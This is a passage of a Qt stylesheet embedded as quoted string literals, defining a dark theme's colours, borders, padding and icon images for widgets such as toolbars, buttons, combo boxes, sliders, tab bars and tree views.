" width: 16px;\n"
" image: url(\":/qss_icons/rc/toolbar_move_horizontal.png\");\n"
"}\n"
"\n"
"QToolBar::handle:vertical {\n"
" height: 16px;\n"
" image: url(\":/qss_icons/rc/toolbar_move_vertical.png\");\n"
"}\n"
"\n"
"QToolBar::separator:horizontal {\n"
" width: 16px;\n"
" image: url(\":/qss_icons/rc/toolbar_separator_horizontal.png\");\n"
"}\n"
"\n"
"QToolBar::separator:vertical {\n"
" height: 16px;\n"
" image: url(\":/qss_icons/rc/toolbar_separator_vertical.png\");\n"
"}\n"
"\n"
"QToolButton#qt_toolbar_ext_button {\n"
" background: #32414B;\n"
" border: 0px;\n"
" color: #F0F0F0;\n"
" image: url(\":/qss_icons/rc/arrow_right.png\");\n"
"}\n"
"\n"
"/* QAbstractSpinBox -------------------------------------------------------\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QAbstractSpinBox {\n"
" background-color: #19232D;\n"
" border: 1px solid #32414B;\n"
" color: #F0F0F0;\n"
" /* This fixes 103, 111 */\n"
" padding-top: 2px;\n"
" /* This fixes 103, 111 */\n"
" padding-bottom: 2px;\n"
" padding-left: 4px;\n"
" padding-right: 4px;\n"
" border-radius: 4px;\n"
" /* min-width: 5px; removed to fix 109 */\n"
"}\n"
"\n"
"QAbstractSpinBox:up-button {\n"
" background-color: transparent #19232D;\n"
" subcontrol-origin: border;\n"
" subcontrol-position: top right;\n"
" border-left: 1px solid #32414B;\n"
" border-bottom: 1px solid #32414B;\n"
" border-top-left-radius: 0;\n"
" border-bottom-left-radius: 0;\n"
" margin: 1px;\n"
" width: 12px;\n"
" margin-bottom: -1px;\n"
"}\n"
"\n"
"QAbstractSpinBox::up-arrow, QAbstractSpinBox::up-arrow:disabled, QAbstractSpinBox::up-arrow:off {\n"
" image: url(\":/qss_icons/rc/arrow_up_disabled.png\");\n"
" height: 8px;\n"
" width: 8px;\n"
"}\n"
"\n"
"QAbstractSpinBox::up-arrow:hover {\n"
" image: url(\":/qss_icons/rc/arrow_up.png\");\n"
"}\n"
"\n"
"QAbstractSpinBox:down-button {\n"
" background-color: transparent #19232D;\n"
" subcontrol-origin: border;\n"
" subcontrol-position: bottom right;\n"
" border-left: 1px solid #32414B;\n"
" border-top: 1px solid #32414B;\n"
" border-top-left-radius: 0;\n"
" border-bottom-left-radius: 0;\n"
" margin: 1px;\n"
" width: 12px;\n"
" margin-top: -1px;\n"
"}\n"
"\n"
"QAbstractSpinBox::down-arrow, QAbstractSpinBox::down-arrow:disabled, QAbstractSpinBox::down-arrow:off {\n"
" image: url(\":/qss_icons/rc/arrow_down_disabled.png\");\n"
" height: 8px;\n"
" width: 8px;\n"
"}\n"
"\n"
"QAbstractSpinBox::down-arrow:hover {\n"
" image: url(\":/qss_icons/rc/arrow_down.png\");\n"
"}\n"
"\n"
"QAbstractSpinBox:hover {\n"
" border: 1px solid #148CD2;\n"
" color: #F0F0F0;\n"
"}\n"
"\n"
"QAbstractSpinBox:focus {\n"
" border: 1px solid #1464A0;\n"
"}\n"
"\n"
"QAbstractSpinBox:selected {\n"
" background: #1464A0;\n"
" color: #32414B;\n"
"}\n"
"\n"
"/* ------------------------------------------------------------------------ */\n"
"/* DISPLAYS --------------------------------------------------------------- */\n"
"/* ------------------------------------------------------------------------ */\n"
"/* QLabel -----------------------------------------------------------------\n"
"\n"
"https://doc.qt.io/qt-5/stylesheet-examples.html#customizing-qframe\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QLabel {\n"
" background-color: #19232D;\n"
" border: 0px solid #32414B;\n"
" padding: 2px;\n"
" margin: 0px;\n"
" color: #F0F0F0;\n"
"}\n"
"\n"
"QLabel:disabled {\n"
" background-color: #19232D;\n"
" border: 0px solid #32414B;\n"
" color: #787878;\n"
"}\n"
"\n"
"/* QTextBrowser -----------------------------------------------------------\n"
"\n"
"https://doc.qt.io/qt-5/stylesheet-examples.html#customizing-qabstractscrollarea\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QTextBrowser {\n"
" background-color: #19232D;\n"
" border: 1px solid #32414B;\n"
" color: #F0F0F0;\n"
" border-radius: 4px;\n"
"}\n"
"\n"
"QTextBrowser:disabled {\n"
" background-color: #19232D;\n"
" border: 1px solid #32414B;\n"
" color: #787878;\n"
" border-radius: 4px;\n"
"}\n"
"\n"
"QTextBrowser:hover, QTextBrowser:!hover, QTextBrowser:selected, QTextBrowser:pressed {\n"
" border: 1px solid #32414B;\n"
"}\n"
"\n"
"/* QGraphicsView ----------------------------------------------------------\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QGraphicsView {\n"
" background-color: #19232D;\n"
" border: 1px solid #32414B;\n"
" color: #F0F0F0;\n"
" border-radius: 4px;\n"
"}\n"
"\n"
"QGraphicsView:disabled {\n"
" background-color: #19232D;\n"
" border: 1px solid #32414B;\n"
" color: #787878;\n"
" border-radius: 4px;\n"
"}\n"
"\n"
"QGraphicsView:hover, QGraphicsView:!hover, QGraphicsView:selected, QGraphicsView:pressed {\n"
" border: 1px solid #32414B;\n"
"}\n"
"\n"
"/* QCalendarWidget --------------------------------------------------------\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QCalendarWidget {\n"
" border: 1px solid #32414B;\n"
" border-radius: 4px;\n"
"}\n"
"\n"
"QCalendarWidget:disabled {\n"
" background-color: #19232D;\n"
" color: #787878;\n"
"}\n"
"\n"
"/* QLCDNumber -------------------------------------------------------------\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QLCDNumber {\n"
" background-color: #19232D;\n"
" color: #F0F0F0;\n"
"}\n"
"\n"
"QLCDNumber:disabled {\n"
" background-color: #19232D;\n"
" color: #787878;\n"
"}\n"
"\n"
"/* QProgressBar -----------------------------------------------------------\n"
"\n"
"https://doc.qt.io/qt-5/stylesheet-examples.html#customizing-qprogressbar\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QProgressBar {\n"
" background-color: #19232D;\n"
" border: 1px solid #32414B;\n"
" color: #F0F0F0;\n"
" border-radius: 4px;\n"
" text-align: center;\n"
"}\n"
"\n"
"QProgressBar:disabled {\n"
" background-color: #19232D;\n"
" border: 1px solid #32414B;\n"
" color: #787878;\n"
" border-radius: 4px;\n"
" text-align: center;\n"
"}\n"
"\n"
"QProgressBar::chunk {\n"
" background-color: #1464A0;\n"
" color: #19232D;\n"
" border-radius: 4px;\n"
"}\n"
"\n"
"QProgressBar::chunk:disabled {\n"
" background-color: #14506E;\n"
" color: #787878;\n"
" border-radius: 4px;\n"
"}\n"
"\n"
"/* ------------------------------------------------------------------------ */\n"
"/* BUTTONS ---------------------------------------------------------------- */\n"
"/* ------------------------------------------------------------------------ */\n"
"/* QPushButton ------------------------------------------------------------\n"
"\n"
"https://doc.qt.io/qt-5/stylesheet-examples.html#customizing-qpushbutton\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QPushButton {\n"
" background-color: #505F69;\n"
" border: 1px solid #32414B;\n"
" color: #F0F0F0;\n"
" border-radius: 4px;\n"
" padding: 3px;\n"
" outline: none;\n"
" /* Issue #194 - Special case of QPushButton inside dialogs, for better UI */\n"
" min-width: 80px;\n"
"}\n"
"\n"
"QPushButton:disabled {\n"
" background-color: #32414B;\n"
" border: 1px solid #32414B;\n"
" color: #787878;\n"
" border-radius: 4px;\n"
" padding: 3px;\n"
"}\n"
"\n"
"QPushButton:checked {\n"
" background-color: #32414B;\n"
" border: 1px solid #32414B;\n"
" border-radius: 4px;\n"
" padding: 3px;\n"
" outline: none;\n"
"}\n"
"\n"
"QPushButton:checked:disabled {\n"
" background-color: #19232D;\n"
" border: 1px solid #32414B;\n"
" color: #787878;\n"
" border-radius: 4px;\n"
" padding: 3px;\n"
" outline: none;\n"
"}\n"
"\n"
"QPushButton:checked:selected {\n"
" background: #1464A0;\n"
" color: #32414B;\n"
"}\n"
"\n"
"QPushButton::menu-indicator {\n"
" subcontrol-origin: padding;\n"
" subcontrol-position: bottom right;\n"
" bottom: 4px;\n"
"}\n"
"\n"
"QPushButton:pressed {\n"
" background-color: #19232D;\n"
" border: 1px solid #19232D;\n"
"}\n"
"\n"
"QPushButton:pressed:hover {\n"
" border: 1px solid #148CD2;\n"
"}\n"
"\n"
"QPushButton:hover {\n"
" border: 1px solid #148CD2;\n"
" color: #F0F0F0;\n"
"}\n"
"\n"
"QPushButton:selected {\n"
" background: #1464A0;\n"
" color: #32414B;\n"
"}\n"
"\n"
"QPushButton:hover {\n"
" border: 1px solid #148CD2;\n"
" color: #F0F0F0;\n"
"}\n"
"\n"
"QPushButton:focus {\n"
" border: 1px solid #1464A0;\n"
"}\n"
"\n"
"/* QToolButton ------------------------------------------------------------\n"
"\n"
"https://doc.qt.io/qt-5/stylesheet-examples.html#customizing-qtoolbutton\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QToolButton {\n"
" background-color: transparent;\n"
" border: 1px solid transparent;\n"
" border-radius: 4px;\n"
" margin: 0px;\n"
" padding: 2px;\n"
" /* The subcontrols below are used only in the DelayedPopup mode */\n"
" /* The subcontrols below are used only in the MenuButtonPopup mode */\n"
" /* The subcontrol below is used only in the InstantPopup or DelayedPopup mode */\n"
"}\n"
"\n"
"QToolButton:checked {\n"
" background-color: transparent;\n"
" border: 1px solid #1464A0;\n"
"}\n"
"\n"
"QToolButton:checked:disabled {\n"
" border: 1px solid #14506E;\n"
"}\n"
"\n"
"QToolButton:pressed {\n"
" margin: 1px;\n"
" background-color: transparent;\n"
" border: 1px solid #1464A0;\n"
"}\n"
"\n"
"QToolButton:disabled {\n"
" border: none;\n"
"}\n"
"\n"
"QToolButton:hover {\n"
" border: 1px solid #148CD2;\n"
"}\n"
"\n"
"QToolButton[popupMode=\"0\"] {\n"
" /* Only for DelayedPopup */\n"
" padding-right: 2px;\n"
"}\n"
"\n"
"QToolButton[popupMode=\"1\"] {\n"
" /* Only for MenuButtonPopup */\n"
" padding-right: 20px;\n"
"}\n"
"\n"
"QToolButton[popupMode=\"1\"]::menu-button {\n"
" border: none;\n"
"}\n"
"\n"
"QToolButton[popupMode=\"1\"]::menu-button:hover {\n"
" border: none;\n"
" border-left: 1px solid #148CD2;\n"
" border-radius: 0;\n"
"}\n"
"\n"
"QToolButton[popupMode=\"2\"] {\n"
" /* Only for InstantPopup */\n"
" padding-right: 2px;\n"
"}\n"
"\n"
"QToolButton::menu-button {\n"
" padding: 2px;\n"
" border-radius: 4px;\n"
" border: 1px solid #32414B;\n"
" width: 12px;\n"
" outline: none;\n"
"}\n"
"\n"
"QToolButton::menu-button:hover {\n"
" border: 1px solid #148CD2;\n"
"}\n"
"\n"
"QToolButton::menu-button:checked:hover {\n"
" border: 1px solid #148CD2;\n"
"}\n"
"\n"
"QToolButton::menu-indicator {\n"
" image: url(\":/qss_icons/rc/arrow_down.png\");\n"
" height: 8px;\n"
" width: 8px;\n"
" top: 0;\n"
" /* Exclude a shift for better image */\n"
" left: -2px;\n"
" /* Shift it a bit */\n"
"}\n"
"\n"
"QToolButton::menu-arrow {\n"
" image: url(\":/qss_icons/rc/arrow_down.png\");\n"
" height: 8px;\n"
" width: 8px;\n"
"}\n"
"\n"
"QToolButton::menu-arrow:hover {\n"
" image: url(\":/qss_icons/rc/arrow_down_focus.png\");\n"
"}\n"
"\n"
"/* QCommandLinkButton -----------------------------------------------------\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QCommandLinkButton {\n"
" background-color: transparent;\n"
" border: 1px solid #32414B;\n"
" color: #F0F0F0;\n"
" border-radius: 4px;\n"
" padding: 0px;\n"
" margin: 0px;\n"
"}\n"
"\n"
"QCommandLinkButton:disabled {\n"
" background-color: transparent;\n"
" color: #787878;\n"
"}\n"
"\n"
"/* ------------------------------------------------------------------------ */\n"
"/* INPUTS - NO FIELDS ----------------------------------------------------- */\n"
"/* ------------------------------------------------------------------------ */\n"
"/* QComboBox --------------------------------------------------------------\n"
"\n"
"https://doc.qt.io/qt-5/stylesheet-examples.html#customizing-qcombobox\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QComboBox {\n"
" border: 1px solid #32414B;\n"
" border-radius: 4px;\n"
" selection-background-color: #1464A0;\n"
" padding-left: 4px;\n"
" padding-right: 36px;\n"
" /* 4 + 16*2 See scrollbar size */\n"
" /* Fixes #103, #111 */\n"
" min-height: 1.5em;\n"
" /* padding-top: 2px; removed to fix #132 */\n"
" /* padding-bottom: 2px; removed to fix #132 */\n"
" /* min-width: 75px; removed to fix #109 */\n"
" /* Needed to remove indicator - fix #132 */\n"
"}\n"
"\n"
"QComboBox QAbstractItemView {\n"
" border: 1px solid #32414B;\n"
" border-radius: 0;\n"
" background-color: #19232D;\n"
" selection-background-color: #1464A0;\n"
"}\n"
"\n"
"QComboBox QAbstractItemView:hover {\n"
" background-color: #19232D;\n"
" color: #F0F0F0;\n"
"}\n"
"\n"
"QComboBox QAbstractItemView:selected {\n"
" background: #1464A0;\n"
" color: #32414B;\n"
"}\n"
"\n"
"QComboBox QAbstractItemView:alternate {\n"
" background: #19232D;\n"
"}\n"
"\n"
"QComboBox:disabled {\n"
" background-color: #19232D;\n"
" color: #787878;\n"
"}\n"
"\n"
"QComboBox:hover {\n"
" border: 1px solid #148CD2;\n"
"}\n"
"\n"
"QComboBox:focus {\n"
" border: 1px solid #1464A0;\n"
"}\n"
"\n"
"QComboBox:on {\n"
" selection-background-color: #1464A0;\n"
"}\n"
"\n"
"QComboBox::indicator {\n"
" border: none;\n"
" border-radius: 0;\n"
" background-color: transparent;\n"
" selection-background-color: transparent;\n"
" color: transparent;\n"
" selection-color: transparent;\n"
" /* Needed to remove indicator - fix #132 */\n"
"}\n"
"\n"
"QComboBox::indicator:alternate {\n"
" background: #19232D;\n"
"}\n"
"\n"
"QComboBox::item:alternate {\n"
" background: #19232D;\n"
"}\n"
"\n"
"QComboBox::item:checked {\n"
" font-weight: bold;\n"
"}\n"
"\n"
"QComboBox::item:selected {\n"
" border: 0px solid transparent;\n"
"}\n"
"\n"
"QComboBox::drop-down {\n"
" subcontrol-origin: padding;\n"
" subcontrol-position: top right;\n"
" width: 12px;\n"
" border-left: 1px solid #32414B;\n"
"}\n"
"\n"
"QComboBox::down-arrow {\n"
" image: url(\":/qss_icons/rc/arrow_down_disabled.png\");\n"
" height: 8px;\n"
" width: 8px;\n"
"}\n"
"\n"
"QComboBox::down-arrow:on, QComboBox::down-arrow:hover, QComboBox::down-arrow:focus {\n"
" image: url(\":/qss_icons/rc/arrow_down.png\");\n"
"}\n"
"\n"
"/* QSlider ----------------------------------------------------------------\n"
"\n"
"https://doc.qt.io/qt-5/stylesheet-examples.html#customizing-qslider\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QSlider:disabled {\n"
" background: #19232D;\n"
"}\n"
"\n"
"QSlider:focus {\n"
" border: none;\n"
"}\n"
"\n"
"QSlider::groove:horizontal {\n"
" background: #32414B;\n"
" border: 1px solid #32414B;\n"
" height: 4px;\n"
" margin: 0px;\n"
" border-radius: 4px;\n"
"}\n"
"\n"
"QSlider::groove:vertical {\n"
" background: #32414B;\n"
" border: 1px solid #32414B;\n"
" width: 4px;\n"
" margin: 0px;\n"
" border-radius: 4px;\n"
"}\n"
"\n"
"QSlider::add-page:vertical {\n"
" background: #1464A0;\n"
" border: 1px solid #32414B;\n"
" width: 4px;\n"
" margin: 0px;\n"
" border-radius: 4px;\n"
"}\n"
"\n"
"QSlider::add-page:vertical :disabled {\n"
" background: #14506E;\n"
"}\n"
"\n"
"QSlider::sub-page:horizontal {\n"
" background: #1464A0;\n"
" border: 1px solid #32414B;\n"
" height: 4px;\n"
" margin: 0px;\n"
" border-radius: 4px;\n"
"}\n"
"\n"
"QSlider::sub-page:horizontal:disabled {\n"
" background: #14506E;\n"
"}\n"
"\n"
"QSlider::handle:horizontal {\n"
" background: #787878;\n"
" border: 1px solid #32414B;\n"
" width: 8px;\n"
" height: 8px;\n"
" margin: -8px 0px;\n"
" border-radius: 4px;\n"
"}\n"
"\n"
"QSlider::handle:horizontal:hover {\n"
" background: #148CD2;\n"
" border: 1px solid #148CD2;\n"
"}\n"
"\n"
"QSlider::handle:horizontal:focus {\n"
" border: 1px solid #1464A0;\n"
"}\n"
"\n"
"QSlider::handle:vertical {\n"
" background: #787878;\n"
" border: 1px solid #32414B;\n"
" width: 8px;\n"
" height: 8px;\n"
" margin: 0 -8px;\n"
" border-radius: 4px;\n"
"}\n"
"\n"
"QSlider::handle:vertical:hover {\n"
" background: #148CD2;\n"
" border: 1px solid #148CD2;\n"
"}\n"
"\n"
"QSlider::handle:vertical:focus {\n"
" border: 1px solid #1464A0;\n"
"}\n"
"\n"
"/* QLineEdit --------------------------------------------------------------\n"
"\n"
"https://doc.qt.io/qt-5/stylesheet-examples.html#customizing-qlineedit\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QLineEdit {\n"
" background-color: #19232D;\n"
" padding-top: 2px;\n"
" /* This QLineEdit fix 103, 111 */\n"
" padding-bottom: 2px;\n"
" /* This QLineEdit fix 103, 111 */\n"
" padding-left: 4px;\n"
" padding-right: 4px;\n"
" border-style: solid;\n"
" border: 1px solid #32414B;\n"
" border-radius: 4px;\n"
" color: #F0F0F0;\n"
"}\n"
"\n"
"QLineEdit:disabled {\n"
" background-color: #19232D;\n"
" color: #787878;\n"
"}\n"
"\n"
"QLineEdit:hover {\n"
" border: 1px solid #148CD2;\n"
" color: #F0F0F0;\n"
"}\n"
"\n"
"QLineEdit:focus {\n"
" border: 1px solid #1464A0;\n"
"}\n"
"\n"
"QLineEdit:selected {\n"
" background-color: #1464A0;\n"
" color: #32414B;\n"
"}\n"
"\n"
"/* QTabWiget --------------------------------------------------------------\n"
"\n"
"https://doc.qt.io/qt-5/stylesheet-examples.html#customizing-qtabwidget-and-qtabbar\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QTabWidget {\n"
" padding: 2px;\n"
" selection-background-color: #32414B;\n"
"}\n"
"\n"
"QTabWidget QWidget {\n"
" /* Fixes #189 */\n"
" border-radius: 4px;\n"
"}\n"
"\n"
"QTabWidget::pane {\n"
" border: 1px solid #32414B;\n"
" border-radius: 4px;\n"
" margin: 0px;\n"
" /* Fixes double border inside pane with pyqt5 */\n"
" padding: 0px;\n"
"}\n"
"\n"
"QTabWidget::pane:selected {\n"
" background-color: #32414B;\n"
" border: 1px solid #1464A0;\n"
"}\n"
"\n"
"/* QTabBar ----------------------------------------------------------------\n"
"\n"
"https://doc.qt.io/qt-5/stylesheet-examples.html#customizing-qtabwidget-and-qtabbar\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QTabBar {\n"
" qproperty-drawBase: 0;\n"
" border-radius: 4px;\n"
" margin: 0px;\n"
" padding: 2px;\n"
" border: 0;\n"
" /* left: 5px; move to the right by 5px - removed for fix */\n"
"}\n"
"\n"
"QTabBar::close-button {\n"
" border: 0;\n"
" margin: 2px;\n"
" padding: 2px;\n"
" image: url(\":/qss_icons/rc/window_close.png\");\n"
"}\n"
"\n"
"QTabBar::close-button:hover {\n"
" image: url(\":/qss_icons/rc/window_close_focus.png\");\n"
"}\n"
"\n"
"QTabBar::close-button:pressed {\n"
" image: url(\":/qss_icons/rc/window_close_pressed.png\");\n"
"}\n"
"\n"
"/* QTabBar::tab - selected ------------------------------------------------\n"
"\n"
"https://doc.qt.io/qt-5/stylesheet-examples.html#customizing-qtabwidget-and-qtabbar\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QTabBar::tab {\n"
" /* !selected and disabled ----------------------------------------- */\n"
" /* selected ------------------------------------------------------- */\n"
"}\n"
"\n"
"QTabBar::tab:top:selected:disabled {\n"
" border-bottom: 3px solid #14506E;\n"
" color: #787878;\n"
" background-color: #32414B;\n"
"}\n"
"\n"
"QTabBar::tab:bottom:selected:disabled {\n"
" border-top: 3px solid #14506E;\n"
" color: #787878;\n"
" background-color: #32414B;\n"
"}\n"
"\n"
"QTabBar::tab:left:selected:disabled {\n"
" border-right: 3px solid #14506E;\n"
" color: #787878;\n"
" background-color: #32414B;\n"
"}\n"
"\n"
"QTabBar::tab:right:selected:disabled {\n"
" border-left: 3px solid #14506E;\n"
" color: #787878;\n"
" background-color: #32414B;\n"
"}\n"
"\n"
"QTabBar::tab:top:!selected:disabled {\n"
" border-bottom: 3px solid #19232D;\n"
" color: #787878;\n"
" background-color: #19232D;\n"
"}\n"
"\n"
"QTabBar::tab:bottom:!selected:disabled {\n"
" border-top: 3px solid #19232D;\n"
" color: #787878;\n"
" background-color: #19232D;\n"
"}\n"
"\n"
"QTabBar::tab:left:!selected:disabled {\n"
" border-right: 3px solid #19232D;\n"
" color: #787878;\n"
" background-color: #19232D;\n"
"}\n"
"\n"
"QTabBar::tab:right:!selected:disabled {\n"
" border-left: 3px solid #19232D;\n"
" color: #787878;\n"
" background-color: #19232D;\n"
"}\n"
"\n"
"QTabBar::tab:top:!selected {\n"
" border-bottom: 2px solid #19232D;\n"
" margin-top: 2px;\n"
"}\n"
"\n"
"QTabBar::tab:bottom:!selected {\n"
" border-top: 2px solid #19232D;\n"
" margin-bottom: 3px;\n"
"}\n"
"\n"
"QTabBar::tab:left:!selected {\n"
" border-left: 2px solid #19232D;\n"
" margin-right: 2px;\n"
"}\n"
"\n"
"QTabBar::tab:right:!selected {\n"
" border-right: 2px solid #19232D;\n"
" margin-left: 2px;\n"
"}\n"
"\n"
"QTabBar::tab:top {\n"
" background-color: #32414B;\n"
" color: #F0F0F0;\n"
" margin-left: 2px;\n"
" padding-left: 4px;\n"
" padding-right: 4px;\n"
" padding-top: 2px;\n"
" padding-bottom: 2px;\n"
" min-width: 5px;\n"
" border-bottom: 3px solid #32414B;\n"
" border-top-left-radius: 3px;\n"
" border-top-right-radius: 3px;\n"
"}\n"
"\n"
"QTabBar::tab:top:selected {\n"
" background-color: #505F69;\n"
" color: #F0F0F0;\n"
" border-bottom: 3px solid #1464A0;\n"
" border-top-left-radius: 3px;\n"
" border-top-right-radius: 3px;\n"
"}\n"
"\n"
"QTabBar::tab:top:!selected:hover {\n"
" border: 1px solid #148CD2;\n"
" border-bottom: 3px solid #148CD2;\n"
" /* Fixes spyder-ide/spyder#9766 */\n"
" padding-left: 4px;\n"
" padding-right: 4px;\n"
"}\n"
"\n"
"QTabBar::tab:bottom {\n"
" color: #F0F0F0;\n"
" border-top: 3px solid #32414B;\n"
" background-color: #32414B;\n"
" margin-left: 2px;\n"
" padding-left: 4px;\n"
" padding-right: 4px;\n"
" padding-top: 2px;\n"
" padding-bottom: 2px;\n"
" border-bottom-left-radius: 3px;\n"
" border-bottom-right-radius: 3px;\n"
" min-width: 5px;\n"
"}\n"
"\n"
"QTabBar::tab:bottom:selected {\n"
" color: #F0F0F0;\n"
" background-color: #505F69;\n"
" border-top: 3px solid #1464A0;\n"
" border-bottom-left-radius: 3px;\n"
" border-bottom-right-radius: 3px;\n"
"}\n"
"\n"
"QTabBar::tab:bottom:!selected:hover {\n"
" border: 1px solid #148CD2;\n"
" border-top: 3px solid #148CD2;\n"
" /* Fixes spyder-ide/spyder#9766 */\n"
" padding-left: 4px;\n"
" padding-right: 4px;\n"
"}\n"
"\n"
"QTabBar::tab:left {\n"
" color: #F0F0F0;\n"
" background-color: #32414B;\n"
" margin-top: 2px;\n"
" padding-left: 2px;\n"
" padding-right: 2px;\n"
" padding-top: 4px;\n"
" padding-bottom: 4px;\n"
" border-top-left-radius: 3px;\n"
" border-bottom-left-radius: 3px;\n"
" min-height: 5px;\n"
"}\n"
"\n"
"QTabBar::tab:left:selected {\n"
" color: #F0F0F0;\n"
" background-color: #505F69;\n"
" border-right: 3px solid #1464A0;\n"
"}\n"
"\n"
"QTabBar::tab:left:!selected:hover {\n"
" border: 1px solid #148CD2;\n"
" border-right: 3px solid #148CD2;\n"
" padding: 0px;\n"
"}\n"
"\n"
"QTabBar::tab:right {\n"
" color: #F0F0F0;\n"
" background-color: #32414B;\n"
" margin-top: 2px;\n"
" padding-left: 2px;\n"
" padding-right: 2px;\n"
" padding-top: 4px;\n"
" padding-bottom: 4px;\n"
" border-top-right-radius: 3px;\n"
" border-bottom-right-radius: 3px;\n"
" min-height: 5px;\n"
"}\n"
"\n"
"QTabBar::tab:right:selected {\n"
" color: #F0F0F0;\n"
" background-color: #505F69;\n"
" border-left: 3px solid #1464A0;\n"
"}\n"
"\n"
"QTabBar::tab:right:!selected:hover {\n"
" border: 1px solid #148CD2;\n"
" border-left: 3px solid #148CD2;\n"
" padding: 0px;\n"
"}\n"
"\n"
"QTabBar QToolButton {\n"
" /* Fixes #136 */\n"
" background-color: #32414B;\n"
" height: 12px;\n"
" width: 12px;\n"
"}\n"
"\n"
"QTabBar QToolButton:pressed {\n"
" background-color: #32414B;\n"
"}\n"
"\n"
"QTabBar QToolButton:pressed:hover {\n"
" border: 1px solid #148CD2;\n"
"}\n"
"\n"
"QTabBar QToolButton::left-arrow:enabled {\n"
" image: url(\":/qss_icons/rc/arrow_left.png\");\n"
"}\n"
"\n"
"QTabBar QToolButton::left-arrow:disabled {\n"
" image: url(\":/qss_icons/rc/arrow_left_disabled.png\");\n"
"}\n"
"\n"
"QTabBar QToolButton::right-arrow:enabled {\n"
" image: url(\":/qss_icons/rc/arrow_right.png\");\n"
"}\n"
"\n"
"QTabBar QToolButton::right-arrow:disabled {\n"
" image: url(\":/qss_icons/rc/arrow_right_disabled.png\");\n"
"}\n"
"\n"
"/* QDockWiget -------------------------------------------------------------\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QDockWidget {\n"
" outline: 1px solid #32414B;\n"
" background-color: #19232D;\n"
" border: 1px solid #32414B;\n"
" border-radius: 4px;\n"
" titlebar-close-icon: url(\":/qss_icons/rc/window_close.png\");\n"
" titlebar-normal-icon: url(\":/qss_icons/rc/window_undock.png\");\n"
"}\n"
"\n"
"QDockWidget::title {\n"
" /* Better size for title bar */\n"
" padding: 6px;\n"
" spacing: 4px;\n"
" border: none;\n"
" background-color: #32414B;\n"
"}\n"
"\n"
"QDockWidget::close-button {\n"
" background-color: #32414B;\n"
" border-radius: 4px;\n"
" border: none;\n"
"}\n"
"\n"
"QDockWidget::close-button:hover {\n"
" image: url(\":/qss_icons/rc/window_close_focus.png\");\n"
"}\n"
"\n"
"QDockWidget::close-button:pressed {\n"
" image: url(\":/qss_icons/rc/window_close_pressed.png\");\n"
"}\n"
"\n"
"QDockWidget::float-button {\n"
" background-color: #32414B;\n"
" border-radius: 4px;\n"
" border: none;\n"
"}\n"
"\n"
"QDockWidget::float-button:hover {\n"
" image: url(\":/qss_icons/rc/window_undock_focus.png\");\n"
"}\n"
"\n"
"QDockWidget::float-button:pressed {\n"
" image: url(\":/qss_icons/rc/window_undock_pressed.png\");\n"
"}\n"
"\n"
"/* QTreeView QListView QTableView -----------------------------------------\n"
"\n"
"https://doc.qt.io/qt-5/stylesheet-examples.html#customizing-qtreeview\n"
"https://doc.qt.io/qt-5/stylesheet-examples.html#customizing-qlistview\n"
"https://doc.qt.io/qt-5/stylesheet-examples.html#customizing-qtableview\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QTreeView:branch:selected, QTreeView:branch:hover {\n"
" background: url(\":/qss_icons/rc/transparent.png\");\n"
"}\n"
"\n"
"QTreeView:branch:has-siblings:!adjoins-item {\n"
" border-image: url(\":/qss_icons/rc/branch_line.png\") 0;\n"
"}\n"
"\n"
"QTreeView:branch:has-siblings:adjoins-item {\n"
" border-image: url(\":/qss_icons/rc/branch_more.png\") 0;\n"
"}\n"
"\n"
"QTreeView:branch:!has-children:!has-siblings:adjoins-item {\n"
" border-image: url(\":/qss_icons/rc/branch_end.png\") 0;\n"
"}\n"
"\n"
"QTreeView:branch:has-children:!has-siblings:closed, QTreeView:branch:closed:has-children:has-siblings {\n"
" border-image: none;\n"
" image: url(\":/qss_icons/rc/branch_closed.png\");\n"
"}\n"
"\n"
"QTreeView:branch:open:has-children:!has-siblings, QTreeView:branch:open:has-children:has-siblings {\n"
" border-image: none;\n"
" image: url(\":/qss_icons/rc/branch_open.png\");\n"
"}\n"
"\n"
"QTreeView:branch:has-children:!has-siblings:closed:hover, QTreeView:branch:closed:has-children:has-siblings:hover {\n"
" image: url(\":/qss_icons/rc/branch_closed_focus.png\");\n"
"}\n"
"\n"
"QTreeView:branch:open:has-children:!has-siblings:hover, QTreeView:branch:open:has-children:has-siblings:hover {\n"
" image: url(\":/qss_icons/rc/branch_open_focus.png\");\n"
"}\n"
"\n"
"QTreeView::indicator:checked,\n"
"QListView::indicator:checked {\n"
" image: url(\":/qss_icons/rc/checkbox_checked.png\");\n"
"}\n"
"\n"
"QTreeView::indicator:checked:hover, QTreeView::indicator:checked:focus, QTreeView::indicator:checked:pressed,\n"
"QListView::indicator:checked:hover,\n"
"QListView::indicator:checked:focus,\n"
"QListView::indicator:checked:pressed {\n"
" image: url(\":/qss_icons/rc/checkbox_checked_focus.png\");\n"
"}\n"
"\n"
"QTreeView::indicator:unchecked,\n"
"QListView::indicator:unchecked {\n"
" image: url(\":/qss_icons/rc/checkbox_unchecked.png\");\n"
"}\n"
"\n"
"QTreeView::indicator:unchecked:hover, QTreeView::indicator:unchecked:focus, QTreeView::indicator:unchecked:pressed,\n"
"QListView::indicator:unchecked:hover,\n"
"QListView::indicator:unchecked:focus,\n"
"QListView::indicator:unchecked:pressed {\n"
" image: url(\":/qss_icons/rc/checkbox_unchecked_focus.png\");\n"
"}\n"
"\n"
"QTreeView::indicator:indeterminate,\n"
"QListView::indicator:indeterminate {\n"
" image: url(\":/qss_icons/rc/checkbox_indeterminate.png\");\n"
"}\n"
"\n"
"QTreeView::indicator:indeterminate:hover, QTreeView::indicator:indeterminate:focus, QTreeView::indicator:indeterminate:pressed,\n"
"QListView::indicator:indeterminate:hover,\n"
